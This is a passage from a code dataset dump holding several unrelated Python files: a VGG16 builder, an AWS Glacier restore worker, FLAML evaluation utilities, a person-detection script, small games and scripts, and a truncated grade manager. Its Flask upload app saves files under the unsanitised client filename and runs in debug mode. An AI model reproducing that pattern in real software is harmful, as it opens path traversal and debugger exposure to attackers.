activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=256, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n\n # Conv Block 4 \n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n\n # Conv Block 5 \n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n ]\n )\n return conv_base \n\n else: \n # Make the sequential conv_base \n model = keras.Sequential(\n [ \n keras.Input(shape=input_shape),\n\n # Conv Block 1 \n layers.Conv2D(filters=64, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=64, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n\n # Conv Block 2 \n layers.Conv2D(filters=128, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=128, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n\n # Conv Block 3 \n layers.Conv2D(filters=256, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=256, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=256, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n\n # Conv Block 4 \n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n\n # Conv Block 5 \n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=512, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n\n # FC classifier \n layers.Flatten(),\n layers.Dense(units=4096, activation=\"relu\"),\n layers.Dense(units=4096, activation=\"relu\"),\n layers.Dense(units=num_classes, activation=\"softmax\")\n\n ]\n )\n\n return model\n \n \nif __name__ == '__main__':\n \n # Assign the vlaues \n input_shape = (227,227,3)\n num_classes = 1000\n # -exclude_fc = False \n exclude_fc = True\n\n # Call the function of build() in the Vgg16 class with the dot syntax\n # -model = Vgg16().build(input_shape, num_classes, exclude_fc)\n conv_base = Vgg16().build(input_shape, num_classes, exclude_fc)\n\n # Show the Vgg16 Model \n # -model.summary()\n conv_base.summary()\n","sub_path":"vgg16_model_sets/vgg16_conv_fc.py","file_name":"vgg16_conv_fc.py","file_ext":"py","file_size_in_byte":7640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"605377908","text":"# restore.py\n#\n# NOTE: This file lives on the Utils instance\n#\n# Copyright (C) 2011-2019 Vas Vasiliadis\n# University of Chicago\n##\n__author__ = 'Vas Vasiliadis '\n\nimport os\nimport sys\n\n# Import utility helpers\nsys.path.insert(1, os.path.realpath(os.path.pardir))\nimport helpers\n\n# Get configuration\nfrom configparser import SafeConfigParser\n\nconfig = SafeConfigParser(os.environ)\nconfig.read('restore_config.ini')\n\n# Add utility code here\nimport boto3\nimport botocore\nfrom botocore.client import Config\nimport requests\nfrom boto3.dynamodb.conditions import Key, Attr\nfrom botocore.exceptions import ClientError\nimport json\n\n# Conect to SQS and get the message from the queue\n# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/sqs.html#SQS.Queue\nsqs = boto3.resource('sqs', region_name=config['aws']['AwsRegionName'])\nqueue = sqs.Queue(url=config['aws']['RestoreQueueUrl'])\nglacier_client = boto3.client('glacier', region_name=config['aws']['AwsRegionName'])\nsnsClient = boto3.client('sns', region_name=config['aws']['AwsRegionName'])\n\ndynamo = boto3.resource('dynamodb', region_name=config['aws']['AwsRegionName'])\ntable = dynamo.Table(config['aws']['AWSDynamodbAnnotationsTable'])\n\n# Poll the message queue in a loopn\nwhile True:\n # Attempt to read a message from teh Queue\n # Use long polloing, here as 20 second wait times\n # print(f\"Polling SQS with {config['aws']['PollWaitTime']} seconds wait time\")\n response = queue.receive_messages(\n WaitTimeSeconds=int(config['aws']['PollWaitTime']),\n )\n\n if response:\n message_body = json.loads(response[0].body)\n message_data = json.loads(message_body[\"Message\"])\n # print(\"Message Read in restore.py\")\n # print(f'{message_data}')\n\n user_id = message_data[\"user_id\"]\n thaw_status = message_data[\"thaw_status\"]\n\n # print(f'User {user_id} bought premium. Status {thaw_status}')\n\n query_dict = table.scan(\n FilterExpression=Attr('user_id').eq(user_id) & Attr('storage_status').eq('ARCHIVED'),\n )\n # note: the archive process immediately specifies 'ARCHIVED' fpr stprage_status\n # and it only archives for free users. If A user converted to premium under 5 minutes of a job\n # nothing happens. If a user converted to premium while one is being archived,\n # it will show up and be put into this query dictionary for retrieval\n\n # print(f'\\n\\n\\nPrinting query dictionary: \\n\\n\\n {query_dict}\\n\\n\\n')\n\n for item in query_dict['Items']:\n\n try:\n # print(\"trying data retrieval expedited\")\n # docs.aws.amazon.com/amazonglacier/latest/dev/api-initiate-job-post.html\n # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/glacier.html#Glacier.Client.initiate_job\n glacier_response = glacier_client.initiate_job(\n accountId='-',\n vaultName=config['aws']['VaultName'],\n jobParameters={\n 'Description': item['s3_key_result_file'],\n 'SNSTopic': config['aws']['ThawARN'],\n 'ArchiveId': item['results_file_archive_id'],\n 'Type': \"archive-retrieval\",\n 'Tier': 'Expedited',\n }\n )\n # print(response)\n except ClientError as e:\n try:\n # print(\"Failed data retrieval expedited, trying standard\")\n # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/glacier.html#Glacier.Client.initiate_job\n glacier_response = glacier_client.initiate_job(\n accountId='-',\n vaultName='ucmpcs',\n jobParameters={\n 'Description': item['s3_key_result_file'],\n 'SNSTopic': config['aws']['ThawARN'],\n 'ArchiveId': str(item['results_file_archive_id']),\n 'Type': \"archive-retrieval\",\n 'Tier': 'Standard',\n }\n )\n # print(response)\n except ClientError as e:\n # print(\"Unable to retrieve form archive\")\n raise e\n\n try:\n # print(\"Deleting notify message now--not now\")\n response[0].delete()\n except ClientError as e:\n # print(\"Failed to delete message from sqs: {}\".format(str(e)))\n # print(str(e))\n raise ClientError\n### EOF\n","sub_path":"gas/util/restore/restore.py","file_name":"restore.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"148021626","text":"import os\nfrom flask import Flask, request, render_template, redirect\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n file = request.files['image']\n if file != None and file.filename != '':\n path = 'static/' + file.filename\n file.save(path)\n return redirect('/static/' + file.filename)\n else:\n return 'Something happen, cannot upload file. Please try again'\napp.run(debug=True)\n","sub_path":"upload_file_flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"263753372","text":"\"\"\"\nWhat do we want to detect? names of recognized people, # unrecognized people, # of unknown people\nTime sensitivity issue: use mode\npeople shouldn't be too small\n\"\"\"\n\nimport cv2\nprint(cv2.__version__)\nimport tensorflow as tf\nprint(tf.__version__)\nimport numpy as np\nimport time\nimport math\n\n#Detector API based on tutorial https://medium.com/@madhawavidanapathirana/real-time-human-detection-in-computer-vision-part-2-c7eda27115c6 \n# who himself references https://gist.github.com/madhawav/1546a4b99c8313f06c0b2d7d7b4a09e2\nclass DetectorAPI:\n def __init__(self, path_to_ckpt):\n self.path_to_ckpt = path_to_ckpt\n\n self.detection_graph = tf.Graph()\n with self.detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(self.path_to_ckpt, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n self.default_graph = self.detection_graph.as_default()\n self.sess = tf.Session(graph=self.detection_graph)\n\n # Definite input and output Tensors for detection_graph\n self.image_tensor = self.detection_graph.get_tensor_by_name('image_tensor:0')\n # Each box represents a part of the image where a particular object was detected.\n self.detection_boxes = self.detection_graph.get_tensor_by_name('detection_boxes:0')\n # Each score represent how level of confidence for each of the objects.\n # Score is shown on the result image, together with the class label.\n self.detection_scores = self.detection_graph.get_tensor_by_name('detection_scores:0')\n self.detection_classes = self.detection_graph.get_tensor_by_name('detection_classes:0')\n self.num_detections = self.detection_graph.get_tensor_by_name('num_detections:0')\n\n def processFrame(self, image):\n # Expand dimensions since the trained_model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image, axis=0)\n # Actual detection.\n start_time = time.time()\n (boxes, scores, classes, num) = self.sess.run(\n [self.detection_boxes, self.detection_scores, self.detection_classes, self.num_detections],\n feed_dict={self.image_tensor: image_np_expanded})\n end_time = time.time()\n elapsed_time = end_time-start_time\n\n im_height, im_width,_ = image.shape\n boxes_list = [None for i in range(boxes.shape[1])]\n for i in range(boxes.shape[1]):\n boxes_list[i] = (int(boxes[0,i,0] * im_height),\n int(boxes[0,i,1]*im_width),\n int(boxes[0,i,2] * im_height),\n int(boxes[0,i,3]*im_width))\n\n return boxes_list, scores[0].tolist(), [int(x) for x in classes[0].tolist()], int(num[0]), elapsed_time\n\n def close(self):\n self.sess.close()\n self.default_graph.close()\n\ndef default_callback(frame_index, person_count): \n str = frame_index + person_count\ndef count_people_video(model='ssd_mobilenet_v1_coco_2018_01_28/frozen_inference_graph.pb', \n video='http://10.1.2.155:4747/mjpegfeed?640x480', \n print_count=True, \n print_fps=True,\n visual=True,\n threshold=0.1):\n model_path = 'models/'+model\n video_path = video\n odapi = DetectorAPI(path_to_ckpt=model_path)\n #cap = cv2.VideoCapture('/content/drive/My Drive/Photos/Google Photos/VID_20190101_195059.mp4')\n #cap = cv2.VideoCapture('/content/drive/My Drive/MOV_0011.mp4')\n cap = cv2.VideoCapture(video_path)\n while (cap.isOpened()):\n if(print_count == True):\n r, img = cap.read()\n if(r == True):\n img = cv2.resize(img, (1280, 720))\n\n boxes, scores, classes, num, elapsed_time = odapi.processFrame(img)\n\n boxcount = 0\n for i in range(len(boxes)):\n # Class 1 represents human\n if classes[i] == 1 and scores[i] > threshold:\n boxcount += 1\n box = boxes[i]\n img = cv2.rectangle(img,(box[1],box[0]),(box[3],box[2]),(255,0,0),2)\n if(print_count == True):\n print_str = \"Frame has \"+str(boxcount)+\" people in it.\"\n if(print_fps == True):\n fps = 1/elapsed_time\n if(print_count or print_fps):\n print(print_str)\n \n if(visual == True):\n cv2.imshow(\"Preview\", cv2.resize(img, (640, 480)))\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n else: \n break\n \n else:\n print(\"Can't open video.\")\n \ncount_people_video(visual=True, print_fps=True)","sub_path":"ML/detect_wifi.py","file_name":"detect_wifi.py","file_ext":"py","file_size_in_byte":4809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"93438582","text":"'''!\n * Copyright (c) 2020 Microsoft Corporation. All rights reserved.\n * Licensed under the MIT License. \n'''\n \nfrom .model import *\nimport time\nfrom sklearn.metrics import mean_squared_error, r2_score, roc_auc_score, \\\n accuracy_score, mean_absolute_error, log_loss, average_precision_score, \\\n f1_score\nimport numpy as np\nfrom sklearn.model_selection import RepeatedStratifiedKFold\n\n\ndef get_estimator_class(objective_name, estimator_name):\n ''' when adding a new learner, need to add an elif branch '''\n\n\n if 'xgboost' in estimator_name:\n if 'regression' in objective_name:\n estimator_class = XGBoostEstimator\n else:\n estimator_class = XGBoostSklearnEstimator\n elif 'rf' in estimator_name:\n estimator_class = RandomForestEstimator\n elif 'lgbm' in estimator_name:\n estimator_class = LGBMEstimator\n elif 'lrl1' in estimator_name:\n estimator_class = LRL1Classifier\n elif 'lrl2' in estimator_name:\n estimator_class = LRL2Classifier \n elif 'catboost' in estimator_name:\n estimator_class = CatBoostEstimator\n elif 'extra_tree' in estimator_name:\n estimator_class = ExtraTreeEstimator\n elif 'kneighbor' in estimator_name:\n estimator_class = KNeighborsEstimator\n else:\n raise ValueError(estimator_name + ' is not a built-in learner. '\n 'Please use AutoML.add_learner() to add a customized learner.')\n return estimator_class\n \n\ndef sklearn_metric_loss_score(metric_name, y_predict, y_true, labels=None):\n '''Loss using the specified metric\n\n Args:\n metric_name: A string of the mtric name, one of \n 'r2', 'rmse', 'mae', 'mse', 'accuracy', 'roc_auc', 'log_loss', \n 'f1', 'ap'\n y_predict: A 1d or 2d numpy array of the predictions which can be\n used to calculate the metric. E.g., 2d for log_loss and 1d\n for others. \n y_true: A 1d numpy array of the true labels\n labels: A 1d numpy array of the unique labels\n \n Returns:\n score: A float number of the loss, the lower the better\n '''\n metric_name = metric_name.lower()\n if 'r2' in metric_name:\n score = 1.0 - r2_score(y_true, y_predict)\n elif metric_name == 'rmse':\n score = np.sqrt(mean_squared_error(y_true, y_predict))\n elif metric_name == 'mae':\n score = mean_absolute_error(y_true, y_predict)\n elif metric_name == 'mse':\n score = mean_squared_error(y_true, y_predict)\n elif metric_name == 'accuracy':\n score = 1.0 - accuracy_score(y_true, y_predict)\n elif 'roc_auc' in metric_name:\n score = 1.0 - roc_auc_score(y_true, y_predict)\n elif 'log_loss' in metric_name:\n score = log_loss(y_true, y_predict, labels=labels)\n elif 'f1' in metric_name:\n score = 1 - f1_score(y_true, y_predict)\n elif 'ap' in metric_name:\n score = 1 - average_precision_score(y_true, y_predict)\n else:\n raise ValueError(metric_name+' is not a built-in metric, '\n 'currently built-in metrics are: '\n 'r2, rmse, mae, mse, accuracy, roc_auc, log_loss, f1, ap. '\n 'please pass a customized metric function to AutoML.fit(metric=func)')\n return score\n\n\ndef get_y_pred(estimator, X, eval_metric, obj):\n if eval_metric in ['roc_auc', 'ap'] and 'binary' in obj:\n y_pred_classes = estimator.predict_proba(X) \n y_pred = y_pred_classes[:,\n 1] if y_pred_classes.ndim>1 else y_pred_classes\n elif eval_metric in ['log_loss', 'roc_auc']:\n y_pred = estimator.predict_proba(X)\n else:\n y_pred = estimator.predict(X)\n return y_pred\n\n\ndef get_test_loss(estimator, X_train, y_train, X_test, y_test, eval_metric, obj,\n labels=None, budget=None, train_loss=False):\n start = time.time()\n train_time = estimator.fit(X_train, y_train, budget)\n if isinstance(eval_metric, str):\n test_pred_y = get_y_pred(estimator, X_test, eval_metric, obj)\n test_loss = sklearn_metric_loss_score(eval_metric, test_pred_y, y_test,\n labels)\n if train_loss != False:\n test_pred_y = get_y_pred(estimator, X_train, eval_metric, obj)\n train_loss = sklearn_metric_loss_score(eval_metric, test_pred_y,\n y_train, labels)\n else: # customized metric function\n test_loss, train_loss = eval_metric(\n X_test, y_test, estimator, labels, X_train, y_train)\n train_time = time.time()-start\n return test_loss, train_time, train_loss\n\n\ndef train_model(estimator, X_train, y_train, budget):\n train_time = estimator.fit(X_train, y_train, budget)\n return train_time\n\n\ndef evaluate_model(estimator, X_train, y_train, X_val, y_val, budget, kf,\n objective_name, eval_method, eval_metric, best_val_loss, train_loss=False):\n if 'holdout' in eval_method:\n val_loss, train_loss, train_time = evaluate_model_holdout(\n estimator, X_train, y_train, X_val, y_val, budget, \n objective_name, eval_metric, best_val_loss, train_loss=train_loss)\n else:\n val_loss, train_loss, train_time = evaluate_model_CV(\n estimator, X_train, y_train, budget, kf, objective_name, \n eval_metric, best_val_loss, train_loss=train_loss)\n return val_loss, train_loss, train_time\n\n\ndef evaluate_model_holdout(estimator, X_train, y_train, X_val, y_val, budget,\n objective_name, eval_metric, best_val_loss, train_loss=False):\n val_loss, train_time, train_loss = get_test_loss(\n estimator, X_train, y_train, X_val, y_val, eval_metric, objective_name,\n budget = budget, train_loss=train_loss)\n return val_loss, train_loss, train_time\n\n\ndef evaluate_model_CV(estimator, X_train_all, y_train_all, budget, kf,\n objective_name, eval_metric, best_val_loss, train_loss=False):\n start_time = time.time()\n total_val_loss = total_train_loss = 0\n train_time = 0\n valid_fold_num = 0\n n = kf.get_n_splits()\n X_train_split, y_train_split = X_train_all, y_train_all\n if objective_name=='regression':\n labels = None\n else:\n labels = np.unique(y_train_all) \n\n if isinstance(kf, RepeatedStratifiedKFold):\n kf = kf.split(X_train_split, y_train_split)\n else:\n kf = kf.split(X_train_split)\n rng = np.random.RandomState(2020)\n val_loss_list = []\n budget_per_train = budget / (n+1)\n for train_index, val_index in kf:\n train_index = rng.permutation(train_index)\n if isinstance(X_train_all, pd.DataFrame):\n X_train, X_val = X_train_split.iloc[\n train_index], X_train_split.iloc[val_index]\n else:\n X_train, X_val = X_train_split[\n train_index], X_train_split[val_index]\n if isinstance(y_train_all, pd.Series):\n y_train, y_val = y_train_split.iloc[\n train_index], y_train_split.iloc[val_index]\n else:\n y_train, y_val = y_train_split[\n train_index], y_train_split[val_index]\n estimator.cleanup()\n val_loss_i, train_time_i, train_loss_i = get_test_loss(\n estimator, X_train, y_train, X_val, y_val, eval_metric, \n objective_name, labels, budget_per_train, train_loss=train_loss)\n valid_fold_num += 1\n total_val_loss += val_loss_i\n if train_loss != False: \n if total_train_loss != 0: total_train_loss += train_loss_i\n else: total_train_loss = train_loss_i\n train_time += train_time_i\n if valid_fold_num == n:\n val_loss_list.append(total_val_loss/valid_fold_num)\n total_val_loss = valid_fold_num = 0\n elif time.time() - start_time >= budget:\n val_loss_list.append(total_val_loss/valid_fold_num)\n break\n val_loss = np.max(val_loss_list)\n if train_loss != False: train_loss = total_train_loss/n\n budget -= time.time() - start_time\n if val_loss < best_val_loss and budget > budget_per_train:\n estimator.cleanup()\n train_time_full = estimator.fit(X_train_all, y_train_all, budget)\n train_time += train_time_full\n return val_loss, train_loss, train_time\n\n\ndef compute_estimator(X_train, y_train, X_val, y_val, budget, kf,\n config_dic, objective_name, estimator_name, eval_method, eval_metric, \n best_val_loss = np.Inf, n_jobs=1, estimator_class=None, train_loss=False):\n start_time = time.time()\n estimator_class = estimator_class or get_estimator_class(\n objective_name, estimator_name)\n estimator = estimator_class(\n **config_dic, objective_name = objective_name, n_jobs=n_jobs)\n val_loss, train_loss, train_time = evaluate_model(\n estimator, X_train, y_train, X_val, y_val, budget, kf, objective_name, \n eval_method, eval_metric, best_val_loss, train_loss=train_loss)\n all_time = time.time() - start_time\n return estimator, val_loss, train_loss, train_time, all_time\n\n\ndef train_estimator(X_train, y_train, config_dic, objective_name,\n estimator_name, n_jobs=1, estimator_class=None, budget=None):\n start_time = time.time()\n estimator_class = estimator_class or get_estimator_class(objective_name,\n estimator_name)\n estimator = estimator_class(**config_dic, objective_name = objective_name,\n n_jobs=n_jobs)\n if X_train is not None:\n train_time = train_model(estimator, X_train, y_train, budget)\n else:\n estimator = estimator.estimator_class(**estimator.params)\n train_time = time.time() - start_time\n return estimator, train_time\n\n\ndef get_classification_objective(num_labels: int) -> str:\n if num_labels == 2:\n objective_name = 'binary:logistic'\n else:\n objective_name = 'multi:softmax'\n return objective_name\n\n\n","sub_path":"flaml/ml.py","file_name":"ml.py","file_ext":"py","file_size_in_byte":9710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"622008717","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 29 14:29:33 2019\n\n@author: xiongyi\n\"\"\"\nimport re\nimport numpy as np\n\nfilename = '/home/xiongyi/Codes/pytorch-pretrained-BERT/examples/11_06_00_02DeBERT_root.log'\nres = []\nwith open(filename ,'r') as fd:\n line = fd.readline() \n while (line):\n pear = re.findall(r\"Pearson = (.*),\", line)\n #print (pear)\n if (len(pear) >0):\n res.append(pear[0]) \n accs = re.findall(r\"Test acc : (.*) for (.*)\", line)\n if (len(accs) >0):\n #res.append(accs[0][1] + ':' + accs[0][0])\n res.append(accs[0][0])\n line = fd.readline() \ntasks = ['STS12', 'STS13', 'STS14', 'STS15', 'STS16',\n 'MR', 'CR', 'MPQA', 'SUBJ', 'SST2', 'SST5', 'TREC', 'MRPC',\n 'SICKEntailment', 'SICKRelatedness', 'STSBenchmark',\n 'Length', 'WordContent', 'Depth', 'TopConstituents',\n 'BigramShift', 'Tense', 'SubjNumber', 'ObjNumber',\n 'OddManOut', 'CoordinationInversion']\n#res_mat = np.asanyarray(heads)\n","sub_path":"examples/parse_result.py","file_name":"parse_result.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"275133739","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 10 05:50:23 2019\n\n@author: HP\n\"\"\"\n\"\"\"\nChallenge 2\n Screen is messy and rolls ups\n Convert the code into function \n\n MAJOR REFACTORING OF THE CODE\n\"\"\"\n\n\nimport random\ndef game():\n list1=['mango','orange','grape','apple','lichi']\n sec=(random.choice(list1))\n print (sec)\n k=input (\" guess the world \")\n #if k is sec\n if k == sec:\n print (\"player wins\")\n else:\n print (\"computer wins\")\n \n\n\"\"\"\nChallenge 3\nRead the words from a file\n\n\"\"\"\nfor item in list1 :\n print (item)\n \n\n\"\"\"\nChallenge 4\n Get the list of Internet after web scrapping\n\"\"\"\n\n ","sub_path":"day3/mini_project2.py","file_name":"mini_project2.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"417593817","text":"from subprocess import Popen, PIPE, STDOUT\r\n\r\n\r\n# Execute a command, and ensure a print of the shell output.\r\ndef ShellExecute(cmd, bSilent=False):\r\n p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)\r\n output = p.stdout.read()\r\n if (not bSilent) and output:\r\n print(output)\r\n\r\n\r\nShellExecute('\"Premake5.exe\" --help')\r\ninput('')\r\n\r\n","sub_path":"Tools/Build/Premake/PremakeHelp.py","file_name":"PremakeHelp.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"569077864","text":"import os\n\ndef get_dirs(path):\n return [x for x in os.listdir(path) if os.path.isdir(path+x) ]\n\ndef get_filename(path,keyword):\n return [x for x in os.listdir(path) if os.path.isfile(path+x) and keyword in x ]\n\n\ndef get_all_dirs(path):\n results=[]\n current_level_dirs=get_dirs(path)\n\n current_level_dirs=list(map(lambda x:path+x+\"/\",current_level_dirs))\n results += current_level_dirs\n\n for i in current_level_dirs:\n results += get_all_dirs(i)\n\n return results\n\ndef search_keyword(keyword,path=\"./\"):\n dirs = get_all_dirs(path) + [path]\n for dir in dirs:\n files = get_filename(dir,keyword)\n for file in files:\n yield (dir+file)\n\nprint (\"############练习2#############\")\n\nfor i in search_keyword(\"000\"):\n print (i)\n\n","sub_path":"not_related/study/0011_os_module_study.py","file_name":"0011_os_module_study.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"230361123","text":"# Find all text on page\nimport urllib.request\n# url = \"https://leohxj.gitbooks.io/front-end-database/interview/skill-path.html\" # The website url you want to access\n# response = urllib.request.urlopen(url)\n# data = response.read()\n# text = data.decode('utf-8-sig')\n# print(text)\n\n# Find target text\nfrom bs4 import BeautifulSoup\n\n# The website url you want to access\ndef downLoad():\n url = \"https://leohxj.gitbooks.io/front-end-database/interview/skill-path.html\"\n# Get HTML text\n response = urllib.request.urlopen(url)\n data = response.read()\n text = data.decode('utf-8-sig')\n return text\n\n# Export text\nprint(\"downloading.. \")\nprint(\"=============================\")\ntext = downLoad()\n\n# Target define\nsoup = BeautifulSoup(text, \"lxml\") # parse\n# get all list\nlistIdxs = soup.body.find_all('li', attrs={'class':'data-level'}) # get all list\nfor listIdx in listIdxs:\n targets = soup.body.find_all('a', attrs={'class':'chapter', listIdx :'title'+listIdx.text})\n for ta in targets:\n print(ta.text)\n","sub_path":"v2_otherSite.py","file_name":"v2_otherSite.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"132556680","text":"# coding:utf-8\n\"\"\"\n Time : 2021/1/27 下午3:56\n Author : vincent\n FileName: urls\n Software: PyCharm\n Last Modified by: vincent\n Last Modified time: 2021/1/27 下午3:56\n\"\"\"\nfrom django.conf.urls import url\n\nfrom drugstore import views\n\nurlpatterns = [\n url(r'^index/', views.index, name='index'),\n url(r'^shopholic/', views.shopholic_index, name='shopholic_index'),\n url(r'^login/', views.login, name='login'),\n url(r'^register/', views.register, name='register'),\n\n]","sub_path":"zhyf/drugstore/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"329182668","text":"import random\r\nlist_zmw=['_']\r\nfor i in range(10):\r\n list_zmw.append(str(i))\r\nfor i in range(65,91):\r\n list_zmw.append(str(chr(i)))\r\nfor i in range(97,123):\r\n list_zmw.append(str(chr(i)))\r\nfile=open('C:/Users/Administrator/PycharmProjects/new/第一月检测/账号密码.txt','w')\r\nfile.write('用户名\\t\\t密码\\n')\r\nfile.close()\r\nfile=open('C:/Users/Administrator/PycharmProjects/new/第一月检测/账号密码.txt','a')\r\ncount=0\r\nwhile count<10:\r\n user_zmw= ''\r\n pwd_zmw=''\r\n for i in range(6):\r\n s=random.randint(0, len(list_zmw) - 1)\r\n user_zmw= user_zmw + str(list_zmw[s])\r\n for i in range(6):\r\n s=random.randint(0, len(list_zmw) - 1)\r\n pwd_zmw= pwd_zmw + str(list_zmw[s])\r\n file.write(user_zmw + '\\t\\t'+pwd_zmw+'\\n')\r\n count+=1\r\nfile.close()\r\ndef w_zmw(func):\r\n def inner_zmw(user,pwd):\r\n func(user,pwd)\r\n read = open('C:/Users/Administrator/PycharmProjects/new/第一月检测/账号密码.txt', 'r')\r\n while True:\r\n text=read.readline()\r\n if len(text)==0:\r\n break\r\n text=text.replace(\"\\n\",'')\r\n text=text.split(\"\\t\\t\")\r\n if text[0]==user and text[1]==pwd:\r\n return '登录成功'\r\n\r\n return '登录失败,请确认账号或者密码是否正确'\r\n return inner_zmw\r\n@w_zmw\r\ndef login_zmw(user,pwd):\r\n try:\r\n\r\n for i in user:\r\n if i not in list_zmw:\r\n raise Exception\r\n\r\n for i in pwd:\r\n if i not in list_zmw:\r\n raise Exception\r\n except:\r\n print('请不要输入汉字！')\r\nlist = []\r\ndef paixu():\r\n list_pai = []\r\n read_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'r')\r\n while True:\r\n test=read_grade.readline()\r\n if len(test)==0:\r\n break\r\n if test[:2]=='姓名':\r\n test = read_grade.readline()\r\n test=test.replace('\\n','')\r\n a=test.split(\"\\t\\t\")\r\n list_pai.append(a)\r\n #print(list_pai)\r\n read_grade.close()\r\n num=len(list_pai)\r\n for m in range(len(list_pai)):\r\n for n in range(len(list_pai) - m - 1):\r\n if int(list_pai[n][4]) < int(list_pai[n+1][4]):\r\n temp = list_pai[n]\r\n list_pai[n] = list_pai[n + 1]\r\n list_pai[n + 1] = temp\r\n list_pai[len(list_pai)-m-1][5]=str(num)\r\n num -= 1\r\n\r\n #print(list_pai)\r\n wp_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'w')\r\n wp_grade = open(\"C:/Users/Administrator/PycharmProjects/new/第一月检测/学生成绩.txt\", 'a')\r\n wp_grade.write('姓名\\t语文\\t数学\\t英语\\t总分\\t名次\\n')\r\n for i in list_pai:\r\n wp_grade.write(i[0]+'\\t\\t'+i[1]+'\\t\\t'+i[2]+'\\t\\t'+i[3]+'\\t\\t'+i[4]+'\\t\\t'+i[5]+'\\n')\r\n wp_grade.close()\r\ndef show_menu():\r\n print('*' * 50)\r\n print(\"欢迎使用【成绩管理系统】V1.0\")\r\n print(\"1. 录入成绩\")\r\n print(\"2. 显示全部\")\r\n print(\"3. 查询成绩\")\r\n print(\"0. 退出系统\")\r\n print('*' * 50)\r\n\r\n\r\ndef new_grade():\r\n print(\"-\" * 50)\r\n print(\"功能：录入成绩\")\r\n name = input(\"请输入姓名：\")\r\n try:\r\n read_grade = 